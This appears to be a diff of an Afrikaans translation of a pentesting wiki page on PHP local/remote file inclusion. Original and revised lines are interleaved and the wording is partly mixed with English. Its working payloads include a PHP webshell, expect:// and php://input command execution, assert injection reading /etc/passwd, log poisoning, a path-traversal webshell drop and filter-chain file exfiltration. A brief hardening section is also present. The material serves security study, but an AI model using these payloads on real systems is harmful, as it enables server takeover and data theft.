|
||||||
?dir={payload}
|
?dir={payload}
|
||||||
@ -211,38 +211,38 @@ Hier is 'n lys van die Top 25 parameters wat kwesbaar kan wees vir local file in
|
|||||||
?mod={payload}
|
?mod={payload}
|
||||||
?conf={payload}
|
?conf={payload}
|
||||||
```
|
```
|
||||||
## LFI / RFI met PHP-wrappers & protokolle
|
## LFI / RFI gebruik van PHP wrappers & protokolle
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
PHP filters laat toe om basiese **wysigingsoperasies op die data** uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
|
PHP-filters laat toe om basiese **wysigingsoperasies op die data** uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
|
||||||
|
|
||||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||||
- `string.rot13`
|
- `string.rot13`
|
||||||
- `string.toupper`
|
- `string.toupper`
|
||||||
- `string.tolower`
|
- `string.tolower`
|
||||||
- `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
|
- `string.strip_tags`: Verwyder tags uit die data (alles tussen "<" en ">" karakters)
|
||||||
- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
|
- Note that this filter has disappear from the modern versions of PHP
|
||||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||||
- `convert.base64-encode`
|
- `convert.base64-encode`
|
||||||
- `convert.base64-decode`
|
- `convert.base64-decode`
|
||||||
- `convert.quoted-printable-encode`
|
- `convert.quoted-printable-encode`
|
||||||
- `convert.quoted-printable-decode`
|
- `convert.quoted-printable-decode`
|
||||||
- `convert.iconv.*` : Transformeer na 'n ander enkoding (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle enkodings** wat ondersteun word te kry, voer in die konsole: `iconv -l`
|
- `convert.iconv.*` : Transformeer na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle enkoderinge** wat ondersteun word te kry, voer in die konsole uit: `iconv -l`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Deur misbruik van die `convert.iconv.*` omskakelingsfilter kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of om 'n funksie soos include arbitrêre teks te laat verwerk. Vir meer inligting kyk [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
> Deur die `convert.iconv.*` omskakelingsfilter te misbruik kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of om 'n funksie soos include arbitrêre teks te laat verwerk. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||||
|
|
||||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||||
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie info wil exfiltrate)
|
- `zlib.deflate`: Komprimeer die inhoud (useful if exfiltrating a lot of info)
|
||||||
- `zlib.inflate`: Dekomprimeer die data
|
- `zlib.inflate`: Dekomprimeer die data
|
||||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||||
- `mcrypt.*` : Verouderd
|
- `mcrypt.*` : Verouderd
|
||||||
- `mdecrypt.*` : Verouderd
|
- `mdecrypt.*` : Verouderd
|
||||||
- Ander Filters
|
- Other Filters
|
||||||
- As jy in PHP `var_dump(stream_get_filters());` uitvoer, kan jy 'n paar **onverwagte filters** vind:
|
- As jy in PHP `var_dump(stream_get_filters());` uitvoer kan jy 'n paar **onverwagte filters** vind:
|
||||||
- `consumed`
|
- `consumed`
|
||||||
- `dechunk`: draai HTTP chunked encoding om
|
- `dechunk`: keer HTTP chunked encoding om
|
||||||
- `convert.*`
|
- `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Die gedeelte "php://filter" is nie sensitief vir hoof- en kleinletters nie
|
> Die deel "php://filter" is nie-gevoelig vir hoof-/kleinletters nie
|
||||||
|
|
||||||
### Gebruik van php filters as oracle om arbitrêre lêers te lees
|
### Gebruik van php filters as oracle om ewekansige lêers te lees
|
||||||
|
|
||||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitset deur die bediener teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering gooi.
|
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitset van die bediener terug te kry. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak dat php 'n uitsondering gooi.
|
||||||
|
|
||||||
In die oorspronklike post vind jy 'n gedetaileerde uitleg van die tegniek, maar hier is 'n vinnige samevatting:
|
In die oorspronklike pos vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n kort samevatting:
|
||||||
|
|
||||||
- Use the codec **`UCS-4LE`** om die leidende karakter van die teks aan die begin te laat staan en sodoende die stringgrootte eksponensieel te laat toeneem.
|
- Gebruik die codec **`UCS-4LE`** om die voorste karakter van die teks by die begin te laat en die stringgrootte eksponensieel te laat groei.
|
||||||
- Dit sal gebruik word om 'n **teks te genereer wat so groot word wanneer die aanvanklike letter korrek geraai is** dat php 'n **error** sal veroorsaak.
|
- Dit sal gebruik word om 'n **teks te genereer wat so groot is dat, as die aanvanklike letter korrek geraai word, php 'n **error** sal veroorsaak**.
|
||||||
- Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
|
- Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
|
||||||
- Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal die php error veroorsaak.
|
- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te kyk wanneer ons genoeg transformasies doen sodat dit nie meer 'n hexadecimal karakter is nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php error veroorsaak.
|
||||||
- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende een (so na hierdie codec: a -> b). Dit stel ons in staat om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en die php error word geaktiveer omdat dit met die aanvanklike bom vermenigvuldig.
|
- Die codec **convert.iconv.UNICODE.CP930** verander elke letter na die volgende een (dus na hierdie codec: a -> b). Dit laat ons byvoorbeeld ontdek of die eerste letter 'n `a` is omdat as ons 6 keer hierdie codec toe pas a->b->c->d->e->f->g die letter nie meer 'n hexadecimal karakter is nie, dus verwyder dechunk dit nie en word die php error getrigger omdat dit met die aanvanklike bom vermenigvuldig.
|
||||||
- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters in die hex-bereik te skuif).
|
- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
|
||||||
- Wanneer die aanvanklike char 'n getal is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die getal te bepaal.
|
- Wanneer die aanvanklike char 'n nommer is, moet dit base64 encode word en die eerste 2 letters geleak word om die nommer te leak.
|
||||||
- Die finale probleem is om te sien **hoe om meer te leak as die aanvanklike letter**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
|
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur volgorde-memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||||
- En om verder data te kan verkry, is die idee om **2 bytes van junk data aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toe te pas **UCS-4LE** om dit te **pivot with the next 2 bytes**, en d**verwyder die data tot by die rommeldata** (this will remove the first 2 bytes of the initial text). Gaan voort hiermee totdat jy by die gewenste bit kom om te leak.
|
- En om in staat te wees om **further data** te bekom, is die idee om **2 bytes rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit te laat **pivot with the next 2 bytes**, en **verwyder die data tot by die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort hiermee totdat jy by die verlangde deel kom om te leak.
|
||||||
|
|
||||||
In die post is daar ook 'n hulpmiddel gelek om dit outomaties uit te voer: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
In die pos is daar ook 'n hulpmiddel gelek om dit outomaties uit te voer: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
Hierdie wrapper maak dit moontlik om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die exfiltrate inhoud van geopende lêers te bekom:
|
Hierdie wrapper laat toe om by lêerbeskrywers te kom wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te exfiltrate:
|
||||||
```php
|
```php
|
||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
```
|
```
|
||||||
Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 and 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
|
Jy kan ook gebruik maak van **php://stdin, php://stdout and php://stderr** om onderskeidelik toegang tot die **file descriptors 0, 1 and 2** te kry (ek is nie seker hoe dit in 'n aanval nuttig kan wees nie)
|
||||||
|
|
||||||
### zip:// and rar://
|
### zip:// and rar://
|
||||||
|
|
||||||
Laai 'n Zip- of Rar-lêer met 'n PHPShell daarin op en kry toegang daartoe.\
|
Laai 'n Zip- of Rar-lêer met 'n PHPShell daarin op en kry toegang daartoe.\
|
||||||
Om die rar-protokol te kan misbruik, moet dit **spesifiek geaktiveer** word.
|
Om die rar protocol te kan misbruik, moet dit **spesifiek geaktiveer** word.
|
||||||
```bash
|
```bash
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||||
zip payload.zip payload.php;
|
zip payload.zip payload.php;
|
||||||
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
|||||||
```
|
```
|
||||||
### input://
|
### input://
|
||||||
|
|
||||||
Spesifiseer jou payload in die POST parameters:
|
Spesifiseer jou payload in die POST-parameters:
|
||||||
```bash
|
```bash
|
||||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||||
```
|
```
|
||||||
### phar://
|
### phar://
|
||||||
|
|
||||||
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik om lêers te laai. Die onderstaande PHP-kodefragment demonstreer die skep van 'n `.phar`-lêer:
|
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik vir lêerlaai. Die PHP-kodefragment hieronder toon die skepping van 'n `.phar`-lêer:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$phar = new Phar('test.phar');
|
$phar = new Phar('test.phar');
|
||||||
@ -358,9 +358,9 @@ Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
|
|||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.
|
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||||
|
|
||||||
In gevalle waar die LFI slegs lêerlees uitvoer sonder die uitvoering van die PHP-kode daarin, deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan 'n eksploitasie van 'n deserialization vulnerability probeer word. Hierdie kwesbaarheid is geassosieer met die lees van lêers deur die `phar`-protokol.
|
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||||
|
|
||||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||||
|
|
||||||
@ -373,53 +373,53 @@ phar-deserialization.md
|
|||||||
|
|
||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te kry. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te kry. Die gedetailleerde beskrywing kan [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||||
Baie vinnige opsomming: 'n **3 byte overflow** in die PHP-heap is misbruik om die **ketting van vrye chunks** van 'n spesifieke grootte te verander sodat dit moontlik was om **write anything in any address**, dus is 'n hook bygevoeg om **`system`** aan te roep.\
|
Baie kort opsomming: 'n **3 byte overflow** in die PHP-heap is misbruik om die **ketting van free chunks** van 'n spesifieke grootte te verander om sodoende **enigiets na enige adres te skryf**, dus is 'n hook bygevoeg om **`system`** aan te roep.\
|
||||||
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
|
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
|
||||||
|
|
||||||
### Meer protokolle
|
### Meer protokolle
|
||||||
|
|
||||||
Kyk na meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
Kyk na meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit in 'n file inclusion attack nuttig kan wees nie)
|
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in a file inclusion attack nie)
|
||||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
|
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
|
||||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URLs
|
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URLs
|
||||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URLs
|
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URLs
|
||||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
|
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
|
||||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat by 'n patroon pas (Dit lewer niks drukbaar terug nie, so nie regtig nuttig hier nie)
|
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind paadjies wat by 'n patroon pas (Dit lewer niks uit wat drukbaar is nie, so nie regtig nuttig hier nie)
|
||||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-strome (Nie nuttig om arbitrêre lêers te lees nie)
|
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audiostreams (Nie nuttig om arbitrary files te lees nie)
|
||||||
|
|
||||||
## LFI via PHP se 'assert'
|
## LFI via PHP's 'assert'
|
||||||
|
|
||||||
Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer daar met die 'assert' funksie gewerk word, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat directory traversal-karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
|
Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer daar met die 'assert' funksie gewerk word, wat kode binne strings kan uitvoer. Dit is veral problematies as insette wat directory traversal-karakters soos ".." bevat, gekontroleer word maar nie behoorlik gesanitiseer nie.
|
||||||
|
|
||||||
Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal te voorkom soos volg:
|
Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal soos volg te voorkom:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
Alhoewel dit daarop gemik is om traversal te voorkom, skep dit onbedoeld 'n vektor vir code injection. Om dit uit te buit om lêerinhoud te lees, kan 'n aanvaller die volgende gebruik:
|
Terwyl dit daarop gemik is om traversal te stop, skep dit per ongeluk 'n vektor vir code injection. Om dit te misbruik om lêerinhoud te lees, kan 'n attacker gebruik:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
Net so, om ewekansige stelselopdragte uit te voer, kan iemand gebruik:
|
Net so, vir die uitvoer van arbitrêre stelselopdragte, kan 'n mens gebruik:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(system("id")) or '
|
' and die(system("id")) or '
|
||||||
```
|
```
|
||||||
Dit is belangrik om **URL-encode these payloads**.
|
Dit is belangrik om hierdie payloads te **URL-encode**.
|
||||||
|
|
||||||
## PHP Blind Path Traversal
|
## PHP Blind Path Traversal
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Hierdie tegniek is relevant in gevalle waar jy die **file path** van 'n **PHP function** beheer wat 'n **access a file** sal doen maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
|
> Hierdie tegniek is relevant in gevalle waar jy die **lêerpad** van 'n **PHP-funksie** beheer wat 'n **lêer sal toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**), maar die inhoud nie getoon word nie.
|
||||||
|
|
||||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via PHP filter misbruik kan word om **exfiltrate the content of a file via an error oracle**.
|
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal deur PHP filters misbruik kan word om die inhoud van 'n lêer via 'n error oracle te **exfiltrate**.
|
||||||
|
|
||||||
In samevatting, die tegniek gebruik die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **big** te maak dat die **PHP function opening** die lêer 'n **error** sal veroorsaak.
|
Kortom, die tegniek gebruik die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
|
||||||
|
|
||||||
Dan, om die eerste char te bepaal word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **place other chars at the beggining and leak them**.
|
Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13**, en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om ander chars aan die begin te plaas en daardie chars te leak.
|
||||||
|
|
||||||
Funksies wat moontlik kwesbaar is: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
Funksies wat dalk kwesbaar is: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||||
|
|
||||||
Vir die tegniese besonderhede, kyk die genoemde post!
|
Vir die tegniese besonderhede, kyk die genoemde post!
|
||||||
|
|
||||||
@ -427,22 +427,22 @@ Vir die tegniese besonderhede, kyk die genoemde post!
|
|||||||
|
|
||||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||||
|
|
||||||
Wanneer server-side code wat files ingests/uploads die destination path bou met user-controlled data (bv. 'n filename of URL) sonder om dit te canonicalise en validate, kan `..` segments en absolute paths uit die bedoelde directory ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell te drop.
|
As server-side kode wat lêers insluk/oplaai die bestemming-pad bou met gebruiker-beheerde data (bv. 'n lêernaam of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute paadjies uit die beoogde gids ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-geëksposeerde gids kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
|
||||||
|
|
||||||
Tipiese exploitasie-werkvloei:
|
Tipiese uitbuitingstruktuur:
|
||||||
- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en content na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
|
- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n pad/lêernaam aanvaar en inhoud na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
|
||||||
- Bepaal web-exposed directories. Algemene voorbeelde:
|
- Bepaal web-geëksposeerde gidse. Algemene voorbeelde:
|
||||||
- Apache/PHP: `/var/www/html/`
|
- Apache/PHP: `/var/www/html/`
|
||||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||||
- Skep 'n traversal path wat uit die bedoelde storage directory in die webroot breek, en sluit jou webshell content in.
|
- Bou 'n traversal-pad wat uit die beoogde stoor-gids breek na die webroot, en sluit jou webshell-inhoud in.
|
||||||
- Blaai na die dropped payload en voer commands uit.
|
- Blaai na die neergesette payload en voer opdragte uit.
|
||||||
|
|
||||||
Nota:
|
Notas:
|
||||||
- Die vulnerable service wat die write uitvoer kan op 'n non-HTTP port luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portal (op 'n ander port) sal later jou payload bedien.
|
- Die kwesbare diens wat die skryf uitvoer kan na 'n non-HTTP-poort luister (bv. 'n JMF XML-luisteraar op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload dien.
|
||||||
- Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
|
- Op Java-stakke word hierdie lêerskrywings dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan kanonisering/witlys is die kernfout.
|
||||||
|
|
||||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
Generiese XML/JMF-styl voorbeeld (produk-skemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<JMF SenderID="hacktricks" Version="1.3">
|
<JMF SenderID="hacktricks" Version="1.3">
|
||||||
@ -466,26 +466,26 @@ in.transferTo(out);
|
|||||||
</Command>
|
</Command>
|
||||||
</JMF>
|
</JMF>
|
||||||
```
|
```
|
||||||
Verharding wat hierdie klas foute neutraliseer:
|
Verharding wat hierdie klas foute teenwerk:
|
||||||
- Los op na 'n kanoniese pad en dwing af dat dit 'n subgids is van 'n allow-listed basisgids.
|
- Los dit op na 'n kanoniese pad en dwing af dat dit binne 'n toegelate basisgids val.
|
||||||
- Weier enige pad wat `..`, absolute wortels, of skyfletters bevat; verkies gegenereerde lêernaam.
|
- Weier enige pad wat `..`, absolute wortels, of skyfletters bevat; verkies gegenereerde lêernaam.
|
||||||
- Voer die skrywer uit as 'n laag-geprivilegieerde gebruiker en skei skryfgidse van geserveerde wortels.
|
- Laat die skrywer as 'n lae-bevoegdheidsrekening loop en skei skryfgidse van die geserveerde wortels.
|
||||||
|
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
Explained previously, [**volg hierdie skakel**](#remote-file-inclusion).
|
Soos vroeër verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
|
||||||
|
|
||||||
### Deur Apache/Nginx loglêer
|
### Deur Apache/Nginx loglêer
|
||||||
|
|
||||||
As die Apache- of Nginx-bediener **vulnerable to LFI** binne die include function is, kan jy probeer om toegang te kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, plaas binne die **user agent** of in 'n **GET parameter** 'n PHP-shell soos **`<?php system($_GET['c']); ?>`** en daardie lêer include.
|
As die Apache of Nginx-server **kwesbaar vir LFI** is in die include-funksie, kan jy probeer toegang te kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, die **user agent** of 'n **GET parameter** gebruik om 'n php shell soos **`<?php system($_GET['c']); ?>`** te plaas, en daardie lêer te include.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Let wel dat **as jy dubbel-aanhalingstekens gebruik** vir die shell in plaas van **enkel-aanhalingstekens**, sal die dubbel-aanhalingstekens verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
|
> Let daarop dat **as jy dubbel aanhalingstekens gebruik** vir die shell in plaas van **enkele aanhalingstekens**, sal die dubbel aanhalingstekens verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
|
||||||
>
|
>
|
||||||
> Maak ook seker dat jy die payload **korrek skryf**, anders sal PHP elke keer 'n fout gee wanneer dit probeer om die log-lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
> Maak ook seker dat jy die **payload reg skryf** of PHP sal elke keer 'n fout gee wanneer dit probeer om die loglêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||||
|
|
||||||
Dit kan ook in ander logs gedoen word maar **wees versigtig,** die kode binne die logs kan URL-geënkodeer wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word in die logs gedekodeer. Die PHPShell kan in hierdie header ingevoeg word.\
|
Dit kan ook in ander logs gedoen word maar **wees versigtig,** die kode binne die logs kan URL-geënkodeer wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word in die logs gedekodeer. Die PHPShell kan binne hierdie header ingevoeg word.\
|
||||||
Ander moontlike logpaaie:
|
Ander moontlike logpade:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
/var/log/apache/access.log
|
/var/log/apache/access.log
|
||||||
@ -499,33 +499,33 @@ Ander moontlike logpaaie:
|
|||||||
```
|
```
|
||||||
